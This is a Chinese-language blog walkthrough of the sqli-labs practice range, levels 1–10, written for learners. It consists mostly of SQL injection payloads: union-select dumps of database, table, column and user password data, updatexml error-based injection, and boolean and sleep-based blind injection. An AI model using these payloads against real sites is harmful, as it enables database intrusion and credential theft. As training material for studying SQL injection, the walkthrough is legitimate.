sqli-labs靶场通关保姆级教学(Get传输篇)Less-1Less-10
sqli-labs靶场通关保姆级教学(Get传输篇)Less-1~Less-10(纯手注)
sqli - labs 靶场是一个专门用于网络安全学习和测试 SQL 注入漏洞的开源靶场。包含报错盲注、布尔盲注、基于联合查询的 SQL 注入等多种类型的 SQL 注入漏洞,涵盖了 SQL 注入攻击的常见场景。每个应用程序都有不同的难度级别,从简单的入门级别到复杂的挑战级别,有助于开发者根据自己的技能水平逐步学习和提高。在靶场中进行测试时,系统会提供实时的反馈,帮助开发者了解测试是否成功以及漏洞的利用方式是否有效。用于网络安全学习者练习SQL注入攻击手法、方式等,以便更好的防御、避免该漏洞的出现。
第一关——Less-1
判断注入类型
第一关是字符型注入,单引号闭合。通过判断闭合方式、列数,利用联合查询获取数据库名、用户、表名、列名及数据等信息 。
在URL参数有中输入
?id=1
数据库会回显用户名和密码
接下来判断注入拼接类型 是字符型还是数字型
?id=-1
?id=1'
用单引号闭合的时候报错 很明显是字符型 单引号闭合
猜解列数
接下来就开始猜数据库列数
?id=1' order by 4--+
猜4列报错,看来这个数据库只有3列
猜解出来是3列那就可以继续下去
用union联合注入
?id=-1' union select 1,2,3--+
判断出显示位
只显示2和3
爆库
?id=-1' union select 1,2,database()--+
库名:security
接下来继续爆表
爆表
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
表名:emails,referers,uagents,users
爆字段
接着爆字段
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='emails'--+
最后读取想要读取的数据就可以了
爆数据
?id=-1%27%20union%20select%201,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema = 'security'--+
?id=-1%27%20union%20select%201,2,group_concat(id,0x7e,username,0x7e,password) from users--+
0x7e是ASCII 字符集中的波浪号,方便数据显示观看
第一关结束
第二关——Less-2
判断注入类型
?id=1'
判断存在注入点,数字型注入
接下来和第一关流程一样
猜解列数
判断数据库列数
?id=1 order by 4--+
判断有3列
?id=-1 union select 1,2,3--+
爆库
?id=-1 union select 1,2,database()--+
拿到库名爆表
爆表
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆字段
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' and table_schema = database()--+
爆数据
?id=-1 union select 1,2,group_concat(id,0x7e,username,0x7e,password) from users--+
第二关结束
第三关——Less-3
判断注入类型
找注入点判断类型
?id=1'
根据报错内容发现是通过单引号+括号闭合 ')
?id=1')
猜解列数
?id=1') order by 4--+
?id=-1') union select 1,2,3--+
爆库
?id=-1') union select 1,2,database()--+
爆表
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆列
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+
爆字段
?id=-1') union select 1,2,group_concat(id,0x7e,username,0x7e,password) from users--+
第三关结束
第四关——Less-4
判断注入点
?id=1'"
发现是双引号和括号闭合”)
猜解列数
?id=1") order by 4--+
?id=-1") union select 1,2,3--+
爆库
?id=-1") union select 1,2,database()--+
爆表
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
爆列
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'--+
爆字段
?id=-1") union select 1,2,group_concat(id,0x7e,username,0x7e,password) from users--+
第四关结束
第五关——Less-5
第五关开始不会回显username和password
报错注入是利用数据库系统在执行非法 SQL 语句时,会返回详细的错误信息这一特性。攻击者通过构造特定的 SQL 语句,让数据库产生错误,并从错误信息中获取敏感数据,像表名、列名和数据内容等。
只能盲注猜解
这里用报错注入updatexml
爆库
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆表
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
爆列
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)--+
爆字段
?id=1%27%20and%20updatexml(1,concat(0x7e,(select%20group_concat(id,0x7e,username,0x7e,password)%20from%20users%20limit%207),0x7e),1)--+
第五关结束
第六关——Less-6
?id=1"
发现是用双引号
闭合
爆库
?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
爆表
?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+
爆列
?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e),1)--+
爆字段
?id=1" and updatexml(1,concat(0x7e,(select group_concat(id,0x7e,username,0x7e,password) from users),0x7e),1)--+
第六关结束
第七关——Less-7
看不到闭合,只提示sql语法错误
报错注入是注入不了了
只能试试布尔盲注和延时盲注
不过为了更好的看回显选择布尔盲注
布尔盲注主要利用了数据库在处理条件判断时的响应差异来获取信息。攻击者通过构造特殊的 SQL 语句,将其注入到目标应用程序的数据库查询中。注入的语句通常会包含一些条件判断,例如判断某个条件是否为真,然后根据数据库返回的结果(通常是页面的显示情况,如是否显示特定内容、页面是否正常加载等)来推断条件的真假,从而逐步获取数据库中的敏感信息。
判断闭合
经过测试发现“
和'))
都不会报错
但是注入时只有'))
才能真正闭合
判断长度
?id=1')) and (length(database()))>7--+
?id=1')) and (length(database()))>8--+
?id=1')) and (length(database()))=8--+
判断数据库名为8个字符
猜库
用accill码一个一个猜解(一个一个爆太麻烦了,这里简单演示一下具体用法)
当然也可以放到bp或者yakit里爆破看回显长度
?id=1')) and ascii(substr(database(),1,1))=115 --+
判断出数据库第一个字符为s
猜表
?id=1')) and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+
发现表第一个字符为e
猜列
?id=1')) and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1)))=117 --+
爆字段
?id=1')) and (ascii(substr(( select username from users limit 0,1),1,1)))=68 --+
第七关简单演示
第八关——Less-8
判断注入点
?id=1'"--+
?id=1'--+
发现只有单引号时有回显 应该是单引号闭合
判断数据库名长度
?id=1' and (length(database()))=8--+
猜库
?id=1' and ascii(substr(database(),1,1))=115--+
猜表
?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+
猜列
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 4,1),1,1)))=117 --+
猜字段
?id=1' and (ascii(substr(( select username from users limit 0,1),1,1)))=68 --+
第八关结束
第九关——Less-9
不管输入什么参数都只会回显一个You are in…
只能使用延时盲注判断
当攻击者无法从页面的正常响应中直接获取数据库查询结果时,就可以使用延时盲注。攻击者构造包含延时函数(如 MySQL 中的 SLEEP()
、SQL Server 中的 WAITFOR DELAY
等)的 SQL 语句,并结合条件判断。如果条件为真,数据库就会执行延时操作,页面响应时间会明显增加;如果条件为假,数据库不会执行延时操作,页面会正常快速响应。通过不断改变条件,就可以逐步获取数据库中的信息。
为了方便看延迟时间这里用yakit演示
判断注入点
?id=1%27%20and%20sleep(5)--+
延时5秒 确定是以单引号闭合
判断数据库名长度
?id=1%27%20and%20if(length(database())=8,sleep(5),1)--+
猜库
?id=1' and if(length(database())=8,sleep(10),1)--+
猜表
?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security"limit 0,1),1,1)))=101,sleep(5),1)--+
猜列
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105,sleep(10),1)--+
猜字段
?id=1'and if(ascii(substr((select group_concat(id,username,password) from users),1,1))=49,sleep(5),1)--+
第九关结束
第十关——Less-10
判断注入点
?id=1" and sleep(5)--+
发现是用"
闭合
判断数据库长度
?id=1" and if(length(database())=8,sleep(5),1)--+
猜库
?id=1" and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security"limit 0,1),1,1)))=101,sleep(5),1)--+
猜表
?id=1" and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security"limit 0,1),1,1)))=101,sleep(5),1)--+
猜列
?id=1" and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))=105,sleep(10),1)--+
猜字段
?id=1" and if(ascii(substr((select group_concat(id,username,password) from users),1,1))=49,sleep(5),1)--+
第十关结束
遇到问题可在评论区或者私信交流
下播!!!!!
相关文章:
sqli-labs靶场通关保姆级教学(Get传输篇)Less-1Less-10
sqli-labs靶场通关保姆级教学(Get传输篇)Less-1~Less-10(纯手注) sqli - labs 靶场是一个专门用于网络安全学习和测试 SQL 注入漏洞的开源靶场。包含报错盲注、布尔盲注、基于联合查询的 SQL 注入等多种类型的 SQL 注入漏洞&…...
Day17 聚类算法(K-Means、DBSCAN、层次聚类)
一、聚类算法 1. K-Means 聚类 原理:K-Means 是一种基于划分的聚类算法,目标是将 n n n 个样本划分到 k k k 个簇中,使得簇内样本的相似度尽可能高,簇间样本的相似度尽可能低。算法通过迭代的方式,不断更新簇的质心…...
构建 Web 浏览 AI Agent:Pydantic + MCP 实现指南
在当今快节奏的数字世界中,高效地从网站提取和总结信息可以成为改变游戏规则的利器。大型语言模型(LLM)提供了令人难以置信的能力,但它们本身并不知道如何浏览网络或获取实时内容。 本文演示如何创建一个由Python驱动的AI Agent,它能够阅读和总结网站内容,使其成为研究人员…...
解决 pnpm dev 运行报错的坎坷历程
解决 pnpm dev 运行报错的坎坷历程 在项目开发过程中, 在clone完别人的代码后启动项目时:nodejs 和 pnpm版本都没问题 ,但是 无法运行 pnpm dev 命令启动项目时,往往会遇到各种各样的报错问题。最近在处理 yudao-ui-admin-vue3 项…...
从贴牌到品牌:出海官网如何让中国制造“贵”起来?
在全球经济一体化的当下,中美关税战如同一记重锤,给国际贸易格局带来了巨大震荡。自贸易摩擦爆发以来,双方多次调整关税政策,涉及的商品种类不断增多,税率持续攀升,众多中国企业的出口业务遭受重创…...
ultralytics框架进行RT-DETR目标检测训练
自DETR提出以来,其采用匈牙利匹配方式真正的实现了端到端检测效果,避免了NMS等后处理过程,同时,相较CNN的局部特征提取,其凭借着Transformer强大的全局特征提取能力,在目标检测领域可谓大杀四方,…...
SQLite基本函数
目录 1 核心函数和聚合函数 1.1 核心函数 1.2 聚合函数 2 字符串函数 3 日期和时间函数 4 数学函数 5 JSON函数 (SQLite 3.9.0) 6 窗口函数 (SQLite 3.25.0) 7 加密和安全函数 8 其他实用函数 9 C#代码示例:使用SQLite函数 9.1 准备工作 9.2 代码实现…...
使用Java和LangChain4j实现人工智能:从分类到生成式AI
人工智能(AI)从科幻小说中的梦想逐步演变为现实,驱动了从语音助手到自动驾驶汽车的各种应用。AI 的发展主要基于两种方法:基于编码的传统方法和基于机器学习的现代方法。机器学习通过神经网络和大量训练数据实现分类、生成等任务&…...
数据分析指标体系
目录 1. 构建业务公式,用量化逻辑串联业务 1.1 明确公式结果 1.2 拆解业务过程 1.3 构建计算关系(yaxb) 经典的成交额业务公式 小疑问: 如何让自己的指标看起来更专业? 量化业务过程的量化,到底是什…...
分布式、高并发-Day04
以下是 Day 4 详细学习内容(CAS 与原子操作实战,30 分钟完整计划),包含原理解析、分步代码实战和性能对比: 📖 今日学习目标 掌握 CAS(Compare-And-Swap)无锁算法的核心原理学会使…...
计算机中的逻辑运算
目录 一、总览 二、详情 1. 基本逻辑运算(与、或、非): 2. 其他常用的逻辑运算(异或、同或、与非、或非): 在计算机中,逻辑运算是构成数字电路和计算机程序基础的关键操作。它们处理的是真值…...
Dify - Stable Diffusion
Stable Diffusion 是一种基于文本提示生成图像的工具,Dify 已经实现了访问 Stable Diffusion WebUI API 的接口,因此你可以直接在 Dify 中使用它。以下是在 Dify 中集成 Stable Diffusion 的步骤。 1. 初始化本地环境 推荐使用装有较强 GPU 的机器来安…...
weapp-vite - 微信小程序工具链的另一种选择
weapp-vite - 微信小程序工具链的另一种选择 前言 weapp-vite 是由 笔者 icebreaker 开发的一个基于 vite 的现代化微信小程序开发工具链。我给它设定的目标初心是: 为小程序开发者带来笑容。 自从在 2024 年的 8 月正式发布之后,到现在也过了将近 9 个月的时间。…...
图形化编程重塑 IoT 边缘开发:技术革新与生态竞合新范式
本文以图形化编程技术为核心,深度剖析其在 IoT 边缘开发中的创新应用与行业变革。通过对传统开发困局的系统解构,结合 iVX 项目等典型案例,揭示图形化编程如何通过可视化逻辑设计、自动代码生成及 AI 驱动架构,实现开发效率与应用…...
node-sass安装失败解决方案
1、python环境问题 Error: Cant find Python executable "python", you can set the PYTHON env variable. 提示找不到python2.7版本, 方法一:可安装一个python2.7或引用其他已安装的python2.7 通过设置环境变量可以解决; 方法二&…...
PDF内容搜索--支持跨文件夹多文件、组合词搜索
平时我们接触到的PDF文档特别多,需要对PDF文档做一些处理,那么今天给大家带来的这两个软件非常的棒,可以帮你提升处理文档的效率。 PDF内容搜索 快速检索 我用夸克网盘分享了「PDF搜索PDF 转长图.zip」,点击链接即可保存。打开「…...
我用cursor 搭建了临时邮箱服务-Temp Mail 365
用业余时间搭建了一个临时邮箱,对于后端程序员出身的我,对前端了解的不太多,有了cursor的帮助,补齐了自己的短板,搭建了这个服务,下面对临时邮箱架构设计与安全性做一个分析。 https://temp-mail-365.com 临…...
RN学习笔记 ✅
太无聊了最近,找点事做,学一下RN丰富一下技术栈🫡。但是开发APP除了RN,还有一种选择就是WebView,但是基于WebView的APP的性能被普遍认为不如RN,因为WebView本质上是一个容器,用于在应用中嵌入网…...
使用原生 CSS 实现轮播
提示:记录工作中遇到的需求及解决办法 文章目录 前言一、核心新特性1. ::scroll-button()2. ::scroll-marker()二、基础实现步骤1. 创建滚动容器2. 添加滚动按钮3. 集成滚动标记三、高级功能1. 滚动驱动动画2. 状态查询3. 响应式布局四、展示前言 最新!原生CSS也可以实现轮播…...
C语言进阶—函数(static,递归,回调,指针,内联,变参,结构体尺寸)
目录 一 static函数 1. static变量 1.静态局部变量 2.静态全局变量 2. static函数 二 递归函数 三 指针函数&函数指针 1. 指针函数 2. 函数指针 四 回调函数 五 内联函数 1. 核心特性表 2. 优缺点分析表 3. 用场景建议 3.1 推荐使用场景 3.2 应避免场景 六…...
碰一碰发视频源码搭建的定制化开发实践
在数字化营销与信息交互的浪潮中,碰一碰发视频技术以其便捷性和高效性,成为吸引用户的重要手段。然而,通用的碰一碰发视频系统往往难以满足企业多样化的业务需求。通过对源码进行定制化开发,可以打造出契合特定场景的专属系统。本…...
代码mark:脚本获取包含全角字符的字符串的长度
脚本获取包含全角字符的字符串的长度 function myLen(s) { var r 0; for (var i 0; i < s.length; i) { var c s.charCodeAt(i); // Shift_JIS: 0x0 ~ 0x80, 0xa0 , 0xa1 ~ 0xdf , 0xfd ~ 0xff // Unicode : 0x0 &…...
FPGA----基于ZYNQ 7020实现petalinux并运行一个程序
引言:上一节我们讲到了使用Alinx 7020b自带的sd卡中的petalinux进行epics的编译,但此种方案个性化程度不足。如:我们项目需要FPGA侧的配合,那么我们需要重新编译petalinx。 注意:本文的知识点来自下面两篇文章&#x…...
微服务架构详解
微服务架构的思想本质 我们为什么需要微服务架构,它一定是为了解决我们某些问题才出现了。这篇文章我们讨论下微服务架构模式所解决的问题,带来的挑战,以及他的核心思想本质。 1 早期的服务架构 上图是一个典型的服务分层架构:…...
error:0308010C:digital envelope routines::unsupported
npm run dev 报错: \node_modules\webpack\hot\dev-server.jsnode:internal/crypto/hash:71 this[kHandle] new _Hash(algorithm, xofLen); Error: error:0308010C:digital envelope routines::unsupported opensslErrorStack: [ error:03000086:digital env…...
Blender 初学者指南 以及模型格式怎么下载
glbxz.com glbxz.com 可以直接下载Blender格式模型 第 1 步:打开 这就是 blender 打开时的样子。 您面对的是左侧和右侧的工具栏,顶部是文件作,底部是时间轴,中间是 3D 视图。 Blender 的默认起始网格是一个立方体,…...
开个帖子记录一下自己学spring源码的过程
一、写在开头 简单记录下来时路,以后也能回头看看鼓励下自己。我以前不喜欢拍照,觉得没什么意思,有一天百度云盘给我推不知道什么时候从相册推到百度云相册的照片,那是我口罩时期在家上体育课的照片,我现在回头望过去…...
【coze】工作流(B站视频总结改写)
【coze】工作流(B站视频总结改写) 1.创建智能体2.工作流2.1 获取视频文案2.2 串联试运行2.3 二次创作(大模型)2.4 MD格式2.5 输出2.6 发布并调用 关于工作流: 简单业务, 如果智能体的逻辑比较简单…...
文化符号与隐形的社会话语权力:解码布尔迪厄理论下的意识形态操控机制
文化符号与隐形的社会话语权力:解码布尔迪厄理论下的意识形态操控机制 引言:符号背后的权力博弈 在当代社会,文化符号早已超越其表层的审美或实用功能,成为维系社会等级、塑造意识形态的隐形权力工具。从故宫博物院的金色琉璃瓦…...
一个关于fsaverage bem文件的说明
MNE文档:基于模板 MRI 的 EEG 前向算子 Head model and forward computation 在了解了脑图谱发展的过程之后,对脑的模版有了更深的认识,所以,对于之前使用的正向的溯源文件,进行一下解析,查看包含的信息&a…...
如何解决Kafka集群中Broker磁盘IO瓶颈?
针对Kafka集群Broker磁盘IO瓶颈问题,这里从实际运维场景出发给出解决方案: 1. 分区负载均衡优化 分区迁移策略 # 查看Topic分区分布(识别热点Broker) kafka-topics --bootstrap-server broker1:9092 --describe --topic high_t…...
42 python http之urllib库
作为办公室牛马,日常工作中总少不了和网络数据打交道。比如从公司内部系统抓取数据做报表。Python urllib 库用于操作网页 URL,并对网页的内容进行抓取处理 一、Urllib 基础入门 urllib 是 Python 内置的一个强大的处理 URL 和网络请求的库,它包含了多个模块,每个模块都有…...
如何把阿里云a账号下面的oss迁移到阿里云b账号下面(同区域)
1.登录a账号进入bucket选择同区域复制 2.登录b账号进入bucket选择bucket授权策略,选择接受复制对象,手动输入,然后是a账号的id和角色名字即可。 3.然后在去a账号保存下同步任务,开始同步了就。...
cuda多维线程的实例
1、注意:在多维中的变化时与平常的不一样,如下图所示,横向变换x,纵向变换y 2、cuda内置变量: 1、thread(线程): 一个线程可作为一个运算单元,多个thread可组成一个block(…...
哈希表的设计
1. 哈希表的基本原理 哈希表是一种通过 哈希函数 将元素的键(Key)映射到存储位置的数据结构。 哈希函数 的作用:通过键值计算存储位置,公式一般为 index hash(key) % capacity。 哈希冲突:不同的键可能被映射到同一…...
前端取经路——入门取经:初出师门的九个CSS修行
大家好,我是老十三,一名前端开发工程师。CSS就像前端修行路上的第一道关卡,看似简单,实则暗藏玄机。在今天的文章中,我将带你一起应对九大CSS难题,从Flexbox布局到响应式设计,从选择器优先级到B…...
网络安全等级保护有关工作事项[2025]
公安部发布公网安〔2025〕1846号文件,关于对网络安全等级保护有关共工作事项的进一步说明 一、备案相关问题 1、如何执行系统备案动态更新工作? 全面梳理与重新填报: 答复:运营者需**全面梳理已备案系统**的情况,对于已完成定…...
柯西不等式应用题
第一种方法是作两个相似三角形ABC和CDE,求出AE长度为3。那么BD最大长度为3。 方法二:柯西不等式(a+b)(c+d)≥(ac+bd) (1√(5-2x&…...
聚焦多种检测场景,华大基因推出全流程本地化检测综合解决方案
“从毫米到微米,神秘的微观世界被发现;从微米到纳米,生命的本源被不断认知。”在时代背景及战略机遇的多重影响下,精准医学已成为新兴的发展趋势,对医学模式的发展具有重要的意义。一直以来,华大基因都致力…...
职场口语之名词从句
目录 一、主语从句 二、宾语从句 三、表语从句 四、同位语从句 一、主语从句 1. Who will win the game is uncertain. 谁将赢得这场比赛还不确定。 2. Why he was late isnt clear. 他为什么迟到还不清楚。 3. What we should do next is important. 我们接下来应该做什么…...
DVWA靶场保姆级通关教程--03CSRF跨站请求伪造
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 文章目录 目录 文章目录 前言 一、low级别的源码分析 二、medium级别源码分析 安全性分析 增加了一层 Referer 验证: 关键点是:在真实的网络环境中&a…...
LangChain:大语言模型应用的“瑞士军刀”入门指南
LanChain入门指南 什么是LangChain?LangChain的核心价值1. 模块化设计 - AI界的"乐高积木"2. 典型应用场景 快速入门实战环境准备(5分钟)第一个示例:公司命名生成器(10分钟)进阶功能:…...
Mac电脑,idea突然文件都展示成了文本格式,导致ts,tsx文件都不能正常加载或提示异常,解决方案详细说明如下
有一天使用clean my mac软件清理电脑 突然发现idea出现了文件都以文本格式展示,如图所示 然后就卸载,计划重新安装,安装了好几个版本,并且setting->file types怎么设置都展示不对,考虑是否idea没卸载干净ÿ…...
如何将本地 Jar 包安装到 Maven 仓库(以 Aspose 为例)
在实际开发中,我们经常会遇到一些第三方库(如商业库 Aspose)无法通过 Maven 仓库直接引入的情况。这时,我们可以手动将 jar 包安装到本地 Maven 仓库,然后像普通依赖一样使用它。 本文以 Aspose.Slides 和 Aspose.Wor…...
[Linux]多线程(一)充分理解线程库
标题:[Linux]多线程 水墨不写bug 文章目录 一、线程的概念1、一句话总结区分进程和线程2、如何理解?3、那么进程和线程的对比?4、Linux为什么要这样设计进程和线程,难道不乱吗?5、从CPU的角度看待执行流?-…...
Mysql order by 用法
ORDER BY 是 SQL 里用于对查询结果进行排序的子句,它能够让查询结果按照指定的列或表达式进行升序或者降序排列,使数据呈现出更有规律的顺序,方便用户查看和分析。下面详细阐述其作用和用法 作用 ORDER BY 的主要作用是对查询结果集进行排序…...
嵌入式学习--江协51单片机day1
今天学习了led灯的相关操作以及独立按键对于led灯的控制。 led灯的相关操作 led灯的相关操作包括点亮,闪烁,流水灯以及流水灯plus 点亮 开发板的led灯是低电平有效,也就是当我们设置0时亮,1时灭。 P2是开发板的led灯模块的8位…...
uniapp开发11-v-for动态渲染list列表数据
uniapp开发11-v-for动态渲染list列表数据!下面是一个简单的动态渲染list列表数据的案例。我们现在还未对接真正的后台接口,所以我们直接在页面组件内部,返回一个json数组,模拟从服务器远程获取到的新闻列表信息。来达到渲染输出的…...
qt国际化翻译功能用法
文章目录 [toc]1 概述2 设置待翻译文本3 生成ts翻译源文件4 编辑ts翻译源文件5 生成qm翻译二进制文件6 加载qm翻译文件进行翻译 更多精彩内容👉内容导航 👈👉Qt开发经验 👈 1 概述 在 Qt 中,ts 文件和 qm 文件是用于国…...
nut-list和nut-swipe搭配:nut-cell侧滑定义无法冒泡打开及bug(含代码、案例、截图)
nut-list和nut-swipe搭配:nut-cell侧滑定义无法冒泡打开及bug(含代码、案例、截图) Nut-UI 官方文档: swipe侧滑手势: https://nutui.jd.com/h5/vue/4x/#/zh-CN/component/swipelist 虚拟列表: https://nutui.jd.com/h5/vue/4x/#/zh-CN/component/list疑问+bug+解决方式:…...